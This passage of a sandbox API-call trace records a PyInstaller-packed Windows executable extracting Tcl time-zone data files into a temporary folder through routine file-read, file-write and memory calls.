0x2 [0043.027] SetLastError (dwErrCode=0x2) [0043.027] GetLastError () returned 0x2 [0043.027] SetLastError (dwErrCode=0x2) [0043.027] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST") returned 60 [0043.027] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mst"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.028] GetFileType (hFile=0x10c) returned 0x1 [0043.028] htonl (hostlong=0x6a000000) returned 0x6a [0043.028] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.028] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x6a, lpOverlapped=0x0) returned 1 [0043.029] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.029] CloseHandle (hObject=0x10c) returned 1 [0043.030] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.030] htonl (hostlong=0x30000000) returned 0x30 [0043.030] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.030] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.030] GetFileType (hFile=0x10c) returned 0x1 [0043.030] htonl (hostlong=0x1fe55c00) returned 0x5ce51f [0043.030] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61951f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.030] htonl (hostlong=0x38060000) returned 0x638 [0043.030] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x638) returned 0x550600 [0043.030] htonl (hostlong=0x38060000) returned 0x638 [0043.030] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.030] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.030] htonl (hostlong=0x23200000) returned 0x2023 [0043.030] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2023) returned 0x561090 [0043.030] htonl (hostlong=0x38060000) returned 0x638 [0043.030] htonl (hostlong=0x23200000) returned 0x2023 [0043.030] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630c0 [0043.030] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630c0 | out: hHeap=0x530000) returned 1 [0043.030] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.030] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.030] CloseHandle (hObject=0x10c) returned 1 [0043.030] GetLastError () returned 0x0 [0043.030] SetLastError (dwErrCode=0x0) [0043.030] GetLastError () returned 0x0 [0043.031] SetLastError (dwErrCode=0x0) [0043.031] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.031] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.031] GetFileType (hFile=0x10c) returned 0x1 [0043.031] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.031] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.031] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.031] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.031] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.031] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.031] CloseHandle (hObject=0x10c) returned 1 [0043.031] GetLastError () returned 0x0 [0043.031] SetLastError (dwErrCode=0x0) [0043.031] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.031] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.031] GetFileType (hFile=0x10c) returned 0x1 [0043.031] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.031] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.031] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.031] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.032] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.032] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.032] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.032] CloseHandle (hObject=0x10c) returned 1 [0043.032] GetLastError () returned 0x0 [0043.032] SetLastError (dwErrCode=0x0) [0043.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST7MDT") returned 64 [0043.032] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST7MDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mst7mdt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.032] GetLastError () returned 0x2 [0043.032] SetLastError (dwErrCode=0x2) [0043.032] GetLastError () returned 0x2 [0043.032] SetLastError (dwErrCode=0x2) [0043.032] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST7MDT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST7MDT", lpFilePart=0x0) returned 0x3f [0043.032] GetLastError () returned 0x2 [0043.032] SetLastError (dwErrCode=0x2) [0043.032] GetLastError () returned 0x2 [0043.032] SetLastError (dwErrCode=0x2) [0043.032] GetLastError () returned 0x2 [0043.032] SetLastError (dwErrCode=0x2) [0043.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST7MDT") returned 64 [0043.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.032] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\MST7MDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mst7mdt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.033] GetFileType (hFile=0x10c) returned 0x1 [0043.033] htonl (hostlong=0x23200000) returned 0x2023 [0043.033] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0043.034] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.034] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x23, lpOverlapped=0x0) returned 1 [0043.034] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.034] CloseHandle (hObject=0x10c) returned 1 [0043.034] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.034] htonl (hostlong=0x30000000) returned 0x30 [0043.034] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.034] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.034] GetFileType (hFile=0x10c) returned 0x1 [0043.034] htonl (hostlong=0x57eb5c00) returned 0x5ceb57 [0043.034] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x619b57, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.034] htonl (hostlong=0x8f000000) returned 0x8f [0043.034] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x55cfe0 [0043.034] htonl (hostlong=0x8f000000) returned 0x8f [0043.034] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.035] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.035] htonl (hostlong=0xb9000000) returned 0xb9 [0043.035] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55d810 [0043.035] htonl (hostlong=0x8f000000) returned 0x8f [0043.035] htonl (hostlong=0xb9000000) returned 0xb9 [0043.035] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.035] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.035] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.035] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.035] CloseHandle (hObject=0x10c) returned 1 [0043.035] GetLastError () returned 0x0 [0043.035] SetLastError (dwErrCode=0x0) [0043.035] GetLastError () returned 0x0 [0043.035] SetLastError (dwErrCode=0x0) [0043.035] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.035] GetFileType (hFile=0x10c) returned 0x1 [0043.035] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.035] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.035] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.035] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.035] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.035] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.035] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.035] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.035] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.035] CloseHandle (hObject=0x10c) returned 1 [0043.036] GetLastError () returned 0x0 [0043.036] SetLastError (dwErrCode=0x0) [0043.036] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.036] GetFileType (hFile=0x10c) returned 0x1 [0043.036] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.036] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.036] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.036] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.036] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.036] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.036] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.036] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.036] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.036] CloseHandle (hObject=0x10c) returned 1 [0043.036] GetLastError () returned 0x0 [0043.036] SetLastError (dwErrCode=0x0) [0043.036] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico") returned 63 [0043.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mexico"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.036] GetLastError () returned 0x2 [0043.036] SetLastError (dwErrCode=0x2) [0043.036] GetLastError () returned 0x2 [0043.036] SetLastError (dwErrCode=0x2) [0043.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico", lpFilePart=0x0) returned 0x3e [0043.036] GetLastError () returned 0x2 [0043.037] SetLastError (dwErrCode=0x2) [0043.037] GetLastError () returned 0x2 [0043.037] SetLastError (dwErrCode=0x2) [0043.037] GetLastError () returned 0x2 [0043.037] SetLastError (dwErrCode=0x2) [0043.037] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mexico"), lpSecurityAttributes=0x0) returned 1 [0043.037] GetLastError () returned 0x2 [0043.037] SetLastError (dwErrCode=0x2) [0043.037] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaNorte") returned 73 [0043.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaNorte" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mexico\\bajanorte"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.037] GetLastError () returned 0x2 [0043.037] SetLastError (dwErrCode=0x2) [0043.037] GetLastError () returned 0x2 [0043.037] SetLastError (dwErrCode=0x2) [0043.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaNorte", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaNorte", lpFilePart=0x0) returned 0x48 [0043.037] GetLastError () returned 0x2 [0043.037] SetLastError (dwErrCode=0x2) [0043.037] GetLastError () returned 0x2 [0043.037] SetLastError (dwErrCode=0x2) [0043.037] GetLastError () returned 0x2 [0043.037] SetLastError (dwErrCode=0x2) [0043.037] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaNorte") returned 73 [0043.037] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaNorte" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mexico\\bajanorte"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.039] GetFileType (hFile=0x10c) returned 0x1 [0043.039] htonl (hostlong=0xb9000000) returned 0xb9 [0043.039] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.039] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9, lpOverlapped=0x0) returned 1 [0043.040] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.040] CloseHandle (hObject=0x10c) returned 1 [0043.040] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d810 | out: hHeap=0x530000) returned 1 [0043.040] htonl (hostlong=0x30000000) returned 0x30 [0043.040] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.040] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.040] GetFileType (hFile=0x10c) returned 0x1 [0043.040] htonl (hostlong=0xe6eb5c00) returned 0x5cebe6 [0043.040] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x619be6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.040] htonl (hostlong=0x8f000000) returned 0x8f [0043.040] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x55cfe0 [0043.040] htonl (hostlong=0x8f000000) returned 0x8f [0043.041] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.041] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.041] htonl (hostlong=0xba000000) returned 0xba [0043.041] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xba) returned 0x55d810 [0043.041] htonl (hostlong=0x8f000000) returned 0x8f [0043.041] htonl (hostlong=0xba000000) returned 0xba [0043.041] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.041] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.041] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 